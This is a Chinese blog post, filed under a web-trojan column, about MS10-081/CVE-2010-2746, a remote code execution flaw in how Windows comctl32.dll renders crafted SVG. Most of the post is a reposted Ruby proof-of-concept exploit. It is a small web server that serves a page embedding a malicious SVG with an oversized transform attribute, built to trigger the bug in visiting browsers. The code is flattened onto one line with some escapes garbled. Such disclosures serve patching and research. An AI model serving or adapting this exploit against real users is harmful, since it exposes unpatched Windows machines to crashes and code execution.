MS10-081/CVE-2010-2746

最新推荐文章于 2024-04-24 11:33:24 发布

leeeryan

最新推荐文章于 2024-04-24 11:33:24 发布

阅读量899

点赞数

分类专栏：网页木马文章标签： 2010 exception date reference c windows

网页木马专栏收录该内容

6 篇文章 0 订阅

订阅专栏

comctl32.dll是Windows应用程序公用GUI图形用户界面模块。在使用第三方可伸缩矢量图形 (SVG) 查看器时，Windows 公共控件库呈现特制网站的方式中存在一个远程执行代码漏洞。如果用户访问了特制网页，此漏洞可能允许远程执行代码。

[+]info:
~~~~~~~~~
MS10-081
CVE-2010-2746

[+]poc:

#!/usr/bin/env ruby # http://breakingpointsystems.com/community/blog/microsoft-vulnerability-proof-of-concept # Nephi Johnson require 'socket' def http_send(sock, data, opts={}) defaults = {:code=>"200", :message=>"OK", :type=>"text/html", :desc=>"content"} opts = defaults.merge(opts) code = opts[:code] message = opts[:message] type = opts[:type] date_str = Time.now.gmtime.strftime("%a, %d %b %Y %H:%M:%S GMT") headers = "HTTP/1.1 #{code} #{message}/r/n" + "Date: #{date_str}/r/n" + "Content-Length: #{data.length}/r/n" + "Content-Type: #{type}/r/n/r/n" puts "[+] Sending #{opts[:desc]}" sock.write(headers + data) rescue return false return true end def sock_read(sock, out_str, timeout=5) begin if Kernel.select([sock],[],[],timeout) out_str.replace(sock.recv(1024)) puts "[+] Received:" puts " " + out_str.split("/n")[0] return true else sock.close return false end rescue Exception => ex return false end end port = ARGV[0] || 55555 transform_name = "/x21" * 65535 svg = <<-SVG <?xml version="1.0"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <rect x="50" y="50" height="110" width="110" style="fill: #ffffff" mce_style="fill: #ffffff" transform="#{transform_name}(10) translate(30) rotate(45 50 50)" > </rect> <text x="100" y="100">CLICK ME</text> </svg> SVG html = <<-HTML <html> <body> <mce:script type="text/javascript"></mce:script> <iframe width="100%" height="100%" src="poc.svg" mce_src="poc.svg" marginheight="0" marginwidth="0"></iframe> </body> </html> HTML puts "[+] Listening on port #{port}" puts TCPServer.open(port) do |srv| while true cli = srv.accept req = "" next unless sock_read(cli, req, 5) while req.length > 0 if req =~ /GET.*svg/i break unless http_send(cli, svg, :type=>"image/svg+xml", :desc=>"svg") elsif req =~ /QUIT/ exit() else break unless http_send(cli, html, :type=>"text/html", :desc=>"html") end req = "" next unless sock_read(cli, req, 5) end cli.close rescue next end end

[+]Reference:
~~~~~~~~~
http://www.exploit-db.com/exploits/15963

原文链接

leeeryan

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
MS10-081/CVE-2010-2746

<br />comctl32.dll是Windows应用程序公用GUI图形用户界面模块。在使用第三方可伸缩矢量图形 (SVG) 查看器时，Windows 公共控件库呈现特制网站的方式中存在一个远程执行代码漏洞。如果用户访问了特制网页，此漏洞可能允许远程执行代码。<br /><br />[+]info:<br />~~~~~~~~~<br />MS10-081<br />CVE-2010-2746<br /><br />[+]poc:<br />#!/usr/bin/env ruby
复制链接

扫一扫